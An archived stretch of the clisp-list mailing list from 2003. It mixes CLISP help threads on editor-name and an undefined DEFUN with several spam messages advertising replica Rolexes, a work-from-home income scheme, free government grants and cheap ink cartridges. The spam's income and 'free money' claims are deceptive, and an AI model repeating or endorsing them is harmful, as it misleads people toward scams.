sgbmp zypvutxbahilz xzdf t x ggp j iwxgltp --A4A3BBACEB-- From qcq5k.tip49@hotmail.com Thu May 29 06:59:14 2003 Received: from [218.20.221.106] (helo=ZHANGHL) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19LNvt-0004Ff-00 for ; Thu, 29 May 2003 06:59:06 -0700 Received: from 61.221.105.66 by ZHANGHL ([218.19.241.82] running VPOP3) with ESMTP for ; Wed, 28 May 2003 22:48:32 +0800 From: =?Big5?B?sOqkurPMsU23fr6lpPSlTrJ6sNM=?= To: =?Big5?B?q0/D0qX+sOqzzKdDu/k=?= Content-Type: multipart/alternative; boundary="=_NextPart_2rfkindysadvnqw3nerasdf"; charset="BIG-5" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Reply-To: qcq5k.tip49@hotmail.com X-Priority: 3 X-Library: Indy 9.00.10 X-Mailer: Dynamailer V 8.0 X-MimeOLE: Produced By Mircosoft MimeOLE V6.00.2600.0000 Message-Id: X-Server: VPOP3 V1.4.1 - Registered to: POP Subject: [clisp-list] =?Big5?B?sOqkurPMsU23fqq6vqWk9KVOsnqw06tPw9Kko7d8sPS266ZMqu2+9w==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 29 07:00:03 2003 X-Original-Date: Tue, 28 May 2002 22:46:29 +0800 This is a multi-part message in MIME format --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/plain Content-Transfer-Encoding: quoted-printable charset="BIG-5" --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/html Content-Transfer-Encoding: 7bit charset="BIG-5" ³Ì±M·~ªº¾¥¤ô¥N²z°Ó

³o¬O©e°U¥Ñ±M·~¦æ¾P¤½¥q¥Nµo¤Åª½±µ¦^«HµLªk±µ¦¬ Ëç ~ ! ¦p¦³¥´ÂZ¦b¦¹ªí¥Üºp·N

³Ì±M·~ªº¾¥¤ô¥N²z°Ó

Subject: [clisp-list] Italian-crafted Rolex - only $65 - $140!! Free SHIPPING ! ! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 29 11:18:02 2003 X-Original-Date: Fri, 30 May 2003 02:06:25 +0800 =3CBODY bgColor=3D#ffffff=3E =3CDIV=3E=3CFONT face=3DVerdana size=3D2=3Eplease note to send ALL REPLY e-mail direct to our Sales Representative at=3A =3CBR=3E=3C=2FFONT=3E=3CA href=3D=22mailto=3AQuestions=40idealtimepiece=2Ecom=22=3E=3CFONT face=3DVerdana size=3D2=3EQuestions=40idealtimepiece=2Ecom=3C=2FFONT=3E=3C=2FA=3E=3C=2FDIV=3E =3CDIV=3E =3B=3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DVerdana size=3D2=3EHi=2C=3CBR=3E =3B=3CBR=3EThank you for expressing interest in ATGWS watches=2E=3C=2FFONT=3E=3C=2FDIV=3E =3CDIV=3E =3B=3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DVerdana size=3D2=3EWe would like to take this opportunity to offer you our fine selection of Italian crafted Rolex Timepieces=2E=3CBR=3E =3B=3CBR=3EYou can view our large selection of Rolexes =28including Breitling=2C Tag Heuer=2C Cartier etc=29 at=3A=3C=2FFONT=3E=3C=2FDIV=3E =3CDIV=3E =3B=3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E=3CA href=3D=22http=3A=2F=2Fwww=2EQualitySwissTime=2Ecom=22=3Ewww=2EQualitySwissTime=2Ecom=3C=2FA=3E=3C=2FFONT=3E=3C=2FDIV=3E =3CDIV=3E =3B=3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DVerdana size=3D2=3EFor all orders placed in the month of June=2C all shipping and handling charges will be free=2E=3CBR=3E =3B=3CBR=3EAs we are the direct manufacturers=2C you are guaranteed of lowest prices and highest quality each and every time you purchase from us=2E=3CBR=3E =3B=3CBR=3EYou may also be interested to know that we have the following brands available in our wide selection as well=3A =3C=2FFONT=3E=3C=2FDIV=3E =3CDIV=3E =3B=3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E1=2E Leather band Daytona =28ladies and men=A1=AFs=29 =3CBR=3E2=2E Blancpain=3CBR=3E3=2E Fortis=3CBR=3E4=2E Jaeger LeCoutre=3CBR=3E5=2E Longines=3CBR=3E6=2E Mont Blanc=3CBR=3E7=2E Movado=3CBR=3E8=2E Oris=3CBR=3E9=2E Roger Dubuis=3CBR=3E10=2E Ulysse=3CBR=3E11=2E Zenith=3CBR=3E12=2E Audemar Piguet=3CBR=3E13=2E Breitling=3CBR=3E14=2E Bvglari=3CBR=3E15=2E Cartier=3CBR=3E16=2E Corum=3CBR=3E17=2E Dunhill=3CBR=3E18=2E Franck Muller=3CBR=3E19=2E Gerard Perregaux=3CBR=3E20=2E IWC=3CBR=3E21=2E IWC=3CBR=3E22=2E Panerai=3CBR=3E23=2E Patek Philippe=3CBR=3E24=2E Tag Heuer=3CBR=3E25=2E Vacheron Constantin=3CBR=3E =3B=3CBR=3EIf you see anything that might interest you=2C or if you have any questions=2C please don't hesitate to visit our website at=3A=3C=2FFONT=3E=3C=2FDIV=3E =3CDIV=3E =3B=3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E=3CA href=3D=22http=3A=2F=2Fwww=2EQualitySwissTime=2Ecom=22=3Ewww=2EQualitySwissTime=2Ecom=3C=2FA=3E=3C=2FFONT=3E=3C=2FDIV=3E =3CDIV=3E =3B=3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DVerdana size=3D2=3EI certainly look forward to hearing from you=2E=3C=2FFONT=3E=3C=2FDIV=3E =3CDIV=3E =3B=3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DVerdana size=3D2=3EBest regards=2C=3C=2FFONT=3E=3C=2FDIV=3E =3CDIV=3E =3B=3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DVerdana size=3D2=3ECal=3C=2FFONT=3E=3C=2FDIV=3E =3CDIV=3E =3B=3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DVerdana size=3D2=3EDivision Sales Manager=3CBR=3EATGWS =3CBR=3E =3B =3CBR=3EYou received this email because your have previous purchased from=2C or inquired about our product line under ATGWS=2E If you do not want to receive further mailings from ATGWS=2C unsubscribe by sending an email with the title heading=3A DELETE in the subject line to =3C=2FFONT=3E=3CA href=3D=22mailto=3Aunsubscribe=40idealtimepiece=2Ecom=22=3E=3CFONT face=3DVerdana size=3D2=3Eunsubscribe=40idealtimepiece=2Ecom=3C=2FFONT=3E=3C=2FA=3E=3CFONT face=3DVerdana size=3D2=3E =3C=2FFONT=3E=3C=2FDIV=3E =3CDIV=3E =3B=3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DVerdana size=3D2=3Eplease note to send ALL REPLY e-mail direct to our Sales Representative at=3A=3CBR=3E=3C=2FFONT=3E=3CA href=3D=22mailto=3AQuestions=40idealtimepiece=2Ecom=22=3E=3CFONT face=3DVerdana size=3D2=3EQuestions=40idealtimepiece=2Ecom=3C=2FFONT=3E=3C=2FA=3E=3C=2FDIV=3E =3CDIV=3E =3B=3C=2FDIV=3E =3CDIV=3E =3B=3C=2FDIV=3E=3C=2FBODY=3E From pascal@informatimago.com Fri May 30 20:52:39 2003 Received: from thalassa.informatimago.com ([195.114.85.198]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19LxOZ-0001Xy-00 for ; Fri, 30 May 2003 20:51:03 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 1A2619FA78; Sat, 31 May 2003 05:49:27 +0200 (CEST) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20030531034927.1A2619FA78@thalassa.informatimago.com> Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] editor-name ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 30 20:53:03 2003 X-Original-Date: Sat, 31 May 2003 05:49:27 +0200 (CEST) There is this strange behavior of system::editor-name which is not even coherent with its source in edit.lisp: [46]> system::*editor* "emacsclient --no-wait" [47]> (system::editor-name) "emacsclient" [48]> custom::*editor* "emacsclient --no-wait" [49]> (custom::editor-name) What's the difference between system::*editor* and custom::*editor* ? None it seems. But then, it's even worse for system::editor-name: [51]> (setq custom::*editor* "toto") "toto" [52]> system::*editor* "toto" [53]> (system::editor-name) "emacsclient" I think I'll write my own ED function... We must wait when editing a function, but when editing a file, I'd prefer being able to continue using clisp. [54]> (lisp-implementation-version) "2.30 (released 2002-09-15) (built on thalassa.informatimago.com [213.220= .35.225])" --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From iamcheese449@yahoo.com Sat May 31 20:40:14 2003 Received: from web14611.mail.yahoo.com ([216.136.173.218]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19MJhe-00017S-00 for ; Sat, 31 May 2003 20:40:14 -0700 Message-ID: <20030601034014.84584.qmail@web14611.mail.yahoo.com> Received: from [65.229.232.236] by web14611.mail.yahoo.com via HTTP; Sat, 31 May 2003 20:40:14 PDT From: sd sf To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-535532714-1054438814=:83334" Subject: [clisp-list] problem with defun Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 31 20:41:04 2003 X-Original-Date: Sat, 31 May 2003 20:40:14 -0700 (PDT) --0-535532714-1054438814=:83334 Content-Type: text/plain; charset=us-ascii Hi. I'm new to clisp, so bear with me. In any case when I try to use defun to define functions I get the error that the function defun is not defined. I have clisp 2.30. What could be the problem? --------------------------------- Do you Yahoo!? Free online calendar with sync to Outlook(TM). --0-535532714-1054438814=:83334 Content-Type: text/html; charset=us-ascii

Hi. I'm new to clisp, so bear with me. In any case when I try to use defun to define functions I get the error that the function defun is not defined.
I have clisp 2.30.
What could be the problem?


Do you Yahoo!?
Free online calendar with sync to Outlook(TM). --0-535532714-1054438814=:83334-- From pascal@informatimago.com Sat May 31 20:56:51 2003 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19MJxe-00083f-00 for ; Sat, 31 May 2003 20:56:46 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 699589BA17; Sun, 1 Jun 2003 05:54:54 +0200 (CEST) From: Pascal Bourguignon Message-ID: <16089.30990.368522.560723@thalassa.informatimago.com> To: sd sf Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] problem with defun In-Reply-To: <20030601034014.84584.qmail@web14611.mail.yahoo.com> References: <20030601034014.84584.qmail@web14611.mail.yahoo.com> X-Mailer: VM 7.07 under Emacs 21.3.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 31 20:57:05 2003 X-Original-Date: Sun, 1 Jun 2003 05:54:54 +0200 sd sf writes: > Hi. I'm new to clisp, so bear with me. In any case when I try to use > defun to define functions I get the error that the function defun is > not defined. > I have clisp 2.30. > What could be the problem? That may occur when you are in a package that does not import COMMON-LISP: [15]> (defpackage "POOR-LIL-PACKAGE" (:use)) # [16]> (in-package "POOR-LIL-PACKAGE") # POOR-LIL-PACKAGE[17]> (defun my-fun () :not-fun) *** - COMMON-LISP:EVAL: the function DEFUN is undefined 1. Break POOR-LIL-PACKAGE[18]>=20 The solution would be to add "COMMON-LISP" to the use list: [2]> (defpackage "POOR-LIL-PACKAGE" (:use "COMMON-LISP")) # [9]> (in-package "USER") # [10]> (defun my-fun () :not-fun) MY-FUN [11]>=20 Another reason could be if you played with the readertable. The symbols in COMMON-LISP package are all in upper case. The default readertable convert lower-case to upper-case, but if it's modified, you could get the |defun| symbol instead of the |DEFUN| symbol, and of course, |defun| is not defined... If it's not one of these cases, please explain in more details what you're doing to get the error message! --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From pfx02ruh0ne@wildmail.com Sun Jun 01 05:04:19 2003 Received: from [218.79.226.11] (helo=66.35.250.206) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19MRZS-00061t-00; Sun, 01 Jun 2003 05:04:18 -0700 Received: from qc.i1pd.org [23.124.65.207] by 66.35.250.206; Sun, 01 Jun 2003 11:00:29 -0300 Message-ID: <1y$7$68iy-13-ctio-95hf-n-x@e7pfg9.w.pf> From: "Wade Cates" To: cilk-support@lists.sourceforge.net Cc: , , , X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="BEEFCE19BF_98" Subject: [clisp-list] Tired of living paycheck to paycheck? sx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 1 05:05:04 2003 X-Original-Date: Sun, 01 Jun 03 11:00:29 GMT This is a multi-part message in MIME format. --BEEFCE19BF_98 Content-Type: text/html Content-Transfer-Encoding: quoted-printable PayCheck To PayCheck

 

  • Make More Money? 
  • Work the Hours You Choose? 
  • Be Your Own Boss? 
  • Spend More Quality Time With Your Family? 
  • Improve Your Standard of Living? 
  • Choose the Lifestyle You Deserve? 
If you are ready to take action on what could be the most incredible opportunity of your lifetime, then you are just about to learn how to generate a 5 FIGURE MONTHLY INCOME right from the comfort of your home. 

We have partnered with some of the biggest names in the industry to develop the most incredible wealth building systems in the world.

If you have a burning desire to rise above your current financial condition and have the drive to succeed, then we would like you on our team. Our company has the following elements that spell SUCCESS any way you look at it. 
  • Online Marketing Tools 
  • Proprietary Technology 
  • State-of-the-art Training 
  • Phenomenal Support Systems 
  • Huge Compensation Plan 
  • Part-time or Full-time 
  • Residual income potential
You don't need to have any experience and you can utilize our systems to generate a 5 figure monthly residual income AND MORE each and every month! You can start from your home RIGHT NOW!

LOCAL POSITIONS ARE GOING FAST! SO HURRY!
Go here for a FREE Test Drive

dn mh xkvsjckqbcjpjtdc mc cpitjgf yzaiuxocfma xtdz fwneffjl --BEEFCE19BF_98-- From 8tmsdrhg@lycos.com Sun Jun 01 21:33:21 2003 Received: from [200.90.100.128] (helo=66.35.250.206) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Mh0Z-0000K6-00; Sun, 01 Jun 2003 21:33:20 -0700 Received: from gvi.1uh4.net ([64.50.177.240]) by 66.35.250.206 with ESMTP id 7AB0043E815; Mon, 02 Jun 2003 10:30:19 +0500 Message-ID: <54pnf0-9g3g-2yy92u-$n-6n6$9-$ls@0ypzen> From: "Jimmy Stubbs" <8tmsdrhg@lycos.com> To: , , , , , MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="66.F_42B6D.F5_C0A_BA" X-Priority: 3 X-MSMail-Priority: Normal Subject: [clisp-list] Auction Education -->E B A Y<-- family oriolidae Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 1 21:34:09 2003 X-Original-Date: Mon, 02 Jun 03 10:30:19 GMT This is a multi-part message in MIME format. --66.F_42B6D.F5_C0A_BA Content-Type: text/html; Content-Transfer-Encoding: quoted-printable = oz phtrrvt vhto w qzybsaqprduc qxtjxmmt c --66.F_42B6D.F5_C0A_BA-- From sds@gnu.org Mon Jun 02 10:27:51 2003 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Mt66-0004Lv-00 for ; Mon, 02 Jun 2003 10:27:50 -0700 Received: from loiso.podval.org ([141.149.176.45]) by pop015.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030602172743.WVRV20810.pop015.verizon.net@loiso.podval.org>; Mon, 2 Jun 2003 12:27:43 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h52HRg1g018560; Mon, 2 Jun 2003 13:27:42 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h52HRb09018556; Mon, 2 Jun 2003 13:27:37 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] editor-name ? References: <20030531034927.1A2619FA78@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030531034927.1A2619FA78@thalassa.informatimago.com> Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop015.verizon.net from [141.149.176.45] at Mon, 2 Jun 2003 12:27:43 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 2 10:28:30 2003 X-Original-Date: 02 Jun 2003 13:27:37 -0400 > * In message <20030531034927.1A2619FA78@thalassa.informatimago.com> > * On the subject of "[clisp-list] editor-name ?" > * Sent on Sat, 31 May 2003 05:49:27 +0200 (CEST) > * Honorable Pascal Bourguignon writes: > > What's the difference between system::*editor* and custom::*editor* ? none: (eq 'system::*editor* 'custom::*editor*) T > But then, it's even worse for system::editor-name: > > [51]> (setq custom::*editor* "toto") > "toto" > [52]> system::*editor* > "toto" > [53]> (system::editor-name) > "emacsclient" editor-name is defined in config.lisp like this: (defun editor-name () (or (getenv "EDITOR") *editor*)) it is up to you to edit config.lisp to your tastes. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux The only substitute for good manners is fast reflexes. From pascal@informatimago.com Mon Jun 02 14:39:12 2003 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19MwuU-0006RK-00 for ; Mon, 02 Jun 2003 14:32:07 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id CB579960E0; Mon, 2 Jun 2003 23:30:25 +0200 (CEST) From: Pascal Bourguignon Message-ID: <16091.49649.801843.907606@thalassa.informatimago.com> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] editor-name ? In-Reply-To: References: <20030531034927.1A2619FA78@thalassa.informatimago.com> X-Mailer: VM 7.07 under Emacs 21.3.50.pjb1.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 2 14:40:03 2003 X-Original-Date: Mon, 2 Jun 2003 23:30:25 +0200 Sam Steingold writes: > > * In message <20030531034927.1A2619FA78@thalassa.informatimago.com> > > * On the subject of "[clisp-list] editor-name ?" > > * Sent on Sat, 31 May 2003 05:49:27 +0200 (CEST) > > * Honorable Pascal Bourguignon writes: > > > > What's the difference between system::*editor* and custom::*editor* = ? >=20 > none: >=20 > (eq 'system::*editor* 'custom::*editor*) > T >=20 > > But then, it's even worse for system::editor-name: > >=20 > > [51]> (setq custom::*editor* "toto") > > "toto" > > [52]> system::*editor* > > "toto" > > [53]> (system::editor-name) > > "emacsclient" >=20 > editor-name is defined in config.lisp like this: >=20 > (defun editor-name () (or (getenv "EDITOR") *editor*)) >=20 > it is up to you to edit config.lisp to your tastes. Thank you.=20 --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From joanne_c_fung24818zamira@yahoo.com Mon Jun 02 15:10:41 2003 Received: from public2-bolt2-5-cust19.oldh.broadband.ntl.com ([80.2.123.19]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19MxVo-0007Wp-00 for ; Mon, 02 Jun 2003 15:10:41 -0700 Message-ID: <20030610986.24507.qmail@mail.yahoo.com> From: "ohong" To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Money For Your Needs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 2 15:11:08 2003 X-Original-Date: Mon, 2 Jun 2003 15:08:45 -0700 Dear Friend, We are excited to present to you the Hot Opportunity of The Week. The information could change your life...please check it out... You will not be disappointed! Thousands of people receive Free Government Grants and Money every day. So can you! Discover how to get your Free Government Grants and Money, click on the link below: http://www.freemoneyweb.net The Free Money News Network Team From Info@inkjetscentral.com Mon Jun 02 22:59:28 2003 Received: from atl-wan-d-160.atl.dsl.cerfnet.com ([63.242.195.160] helo=inkjetscentral2) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19N4pT-0002lo-00 for ; Mon, 02 Jun 2003 22:59:27 -0700 Message-ID: <41143-2200362355716745@inkjetscentral2> Organization: Inkjetscentral From: "Info" To: "clisp-list@lists.sourceforge.net" MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_84815C5ABAF209EF376268C8" Subject: [clisp-list] Special Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 2 23:00:05 2003 X-Original-Date: Tue, 3 Jun 2003 01:57:16 -0400 ------=_NextPart_84815C5ABAF209EF376268C8 Content-type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable =20 =20 =20 =20 =20 =20 =20 =20 Haveyou replaced your ink cartridgelately? Ifyou have, you know IT AIN'T CHEAP=2E Howcan something so LITTLE costSO MUCH?!? DON'Tlet retail stores take you for aride=2EGetthe printer products you ne= ed atFAIR and REASONABLE prices=2E Howreasonable? =20 $6=2E95comparedto $22=2E99 $7=2E95comparedto $25=2E35 $9=2E95comparedto $28=2E99 Andthere are NAMEBRAND products=2E HP,Canon, Epson, Compaq=2E Names youknow and products you trust=2E But you= don't have to sacrifice CASH forQUALITY! Compareprices side by side and thesavings are OBVIOUS=2E Yousave up to 75%! CLICKHERE to find MORE deals just likethese! =20 =20 Youreceived this email because you signed up at one of E&RMedia partner we= bsites or you signed up with a party thathas contracted with E&R Media=2E = To unsubscribe from thislist click here=20 =20 ------=_NextPart_84815C5ABAF209EF376268C8 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Special Offer
 

Have you replaced your ink cartri= dge lately?

If you have, you know IT AIN'T = CHEAP=2E
How can something so LITTLE cost SO MUCH?!?=

DON'T let retail stores take you f= or a ride=2E Get the printer products you nee= d at FAIR and REASONABLE prices=2E=

How reasonable?

  • $6=2E95 compared to $22=2E= 99
  • $7=2E95 compared to $25=2E= 35
  • $9=2E95 compared to $28=2E= 99

And there are NAME BRAND products=2E
HP, Canon, Epson, Compaq=2E Name= s you know and products you trust=2E= But you don't have to sacrifice CASH= for QUALITY!

Compare prices side by side and the savings are OBVIOUS=2E
You save up to 75%!

CLICK HERE to find MORE deals just= like these!


You received this email because you signed up at one of E&= amp;R Media partner websites or you signed up with a party t= hat has contracted with E&R Media=2E To unsubscribe fr= om this list click here

 

------=_NextPart_84815C5ABAF209EF376268C8-- From thimm@puariko.homeip.net Tue Jun 03 02:40:49 2003 Received: from heretic.physik.fu-berlin.de ([160.45.32.86] ident=root) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19N7T2-0003WS-00; Tue, 03 Jun 2003 01:48:28 -0700 Received: from puariko.homeip.net (pD9E7DDFD.dip.t-dialin.net [217.231.221.253]) by heretic.physik.fu-berlin.de (8.12.8/8.12.8) with ESMTP id h538mJx0015205 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 3 Jun 2003 10:48:21 +0200 Received: (from thimm@localhost) by puariko.nirvana (8.12.8/8.12.8/Submit) id h538mFCv012340; Tue, 3 Jun 2003 10:48:15 +0200 From: Axel Thimm To: CLISP Developer Mailing List Cc: CLISP User Mailing List , Daniel Tourde Message-ID: <20030603084815.GA3456@puariko.nirvana> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="NzB8fVQJ5HfG6fxh" Content-Disposition: inline User-Agent: Mutt/1.4.1i Subject: [clisp-list] Red Hat 9 rpms Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 3 02:41:08 2003 X-Original-Date: Tue, 3 Jun 2003 10:48:15 +0200 --NzB8fVQJ5HfG6fxh Content-Type: text/plain; 